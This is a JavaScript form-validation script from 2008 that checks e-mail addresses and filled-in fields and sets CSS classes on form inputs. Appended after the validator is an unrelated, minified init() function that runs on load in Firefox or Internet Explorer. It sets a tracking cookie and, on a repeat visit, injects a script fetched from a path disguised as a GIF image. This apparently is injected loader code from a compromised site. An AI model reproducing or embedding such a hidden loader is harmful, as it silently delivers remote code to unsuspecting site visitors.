/*
 * * * * * * * * * * * * * * * * * * * *
 *   V A L I D A T O R  S C R I P T
 *
 *   (c) Copyright 2008 - carenZa
 *   http://www.carenza.nl/
 *
 */

/*
an array of arrays. The arrays should have the following items:
	0: the id of the item to check
	1: the type of check to perform: "filledIn" or "email"
	2: the css class the element should have in case of pass
	3: the css class the element should have in case of fail
*/
var toCheck = [];
var formElement;

/*
Check whether the element to check has a value containing a possibly valid e-mail address.
*/
function checkEmail(inputId) {
	var valueToCheck = document.getElementById(inputId).value;
	var atIndex = valueToCheck.indexOf('@');
	var dotIndex = valueToCheck.lastIndexOf('.');
    if (atIndex < 1 || atIndex>=(valueToCheck.length-2) || dotIndex < 1 || dotIndex>=(valueToCheck.length-2) || atIndex > dotIndex - 1)
    	return false;
    else
    	return true;
}

/*
Check whether the element to check has a value of length greater than or equal to a selected minimum lenght
*/
function checkFilledIn(inputId, minimumLength) {
	var valueToCheck = document.getElementById(inputId).value;
	var length = valueToCheck.length;
	return (length >= minimumLength);
}

/*
Check whether the element to check has a correct value and sets the css class corresponding to the result.

@param inputId: the id of the element to check
@param checkType: the type of check to be done.
	If the value of this param is 'email', the input is checked on a possibly valid e-mail address.
	If the value of this parameter is 'filledIn', the input is checked whether it is filled in.
@param passCssClass: the cssClass to be assigned if the element has passed the test
@param failCssClass: the css class to be assigned to the element if the value of the element hasn't passed the test.
@return true if passed the test, false if failed the test.
*/
function cssCheckInput(inputId, checkType, passCssClass, failCssClass) {
 	var pass = true;
	if(checkType == 'filledIn')
		pass = checkFilledIn(inputId, 2);
	if(checkType == 'email')
		pass = checkEmail(inputId);
	
	if(pass)
		document.getElementById(inputId).className = passCssClass;
	else
		document.getElementById(inputId).className = failCssClass;
		
	return pass;
}

/*
Check all elements and sets css Class according.
If passed, the form is submitted.
If failed, all elements have the cssCheckInput as an onKeyUp event.

Edit to fit the needs
*/
function checkValues() {
 	var pass = true;
	var i = 0;
 	for(i = 0; i < toCheck.length; i++) {
 	 	var checkItem = toCheck[i];
 	 	
		pass = cssCheckInput(checkItem[0],checkItem[1],checkItem[2],checkItem[3]) && pass;
	}

	if(pass) {
		formElement.submit();
	} else {
	 	for(i = 0; i < toCheck.length; i++) {
	 	 	var checkItem = toCheck[i];
			document.getElementById(checkItem[0]).onkeyup = new Function("cssCheckInput('" + checkItem[0] + "','" + checkItem[1] + "','" + checkItem[2] + "','" + checkItem[3] + "')");
		}
	}
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/kasra_coaching_logo.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
